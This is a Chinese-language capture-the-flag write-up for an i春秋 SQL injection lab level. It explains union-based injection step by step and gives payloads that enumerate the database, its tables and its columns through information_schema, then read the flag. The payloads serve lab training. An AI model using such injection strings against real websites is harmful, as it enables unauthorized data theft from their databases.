i春秋《从0到1》SQL注入-1
九月 26, 2021
i春秋《从0到1》SQL注入-1
SQL注入简介
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
i春秋《从0到1CTFer成长之路》SQL注入-1
访问给出的地址
可以看到URL中存在参数id,通过修改id的值发现页面更改,使用order by函数查看字段长度
爆库名
加到4的时候页面错误,确定有三列,接下来使用联合查询爆库名
1 | ' union select 1,database(),3 %23 |
爆表名
页面回显数据库名为“note”,使用mysql自带的information_schema库爆表名
1 | union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note' %23 |
根据页面回显可以确定flag位于“fl4g”表中
爆列名
1 | union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' %23 |
根据页面回显信息确定列名为“fllllag”。现在我们已经知道了库名和列名,,可以构造完整的SQL语句进行联合查询获取flag
获取flag
1 | union select 1,2,fllllag from fl4g %23 |
通过构造完整的SQL语句使用联合查询获取到本关的flag,查询中使用的%23是URL编码后的#符,意为注释后面的SQL语句
查看评论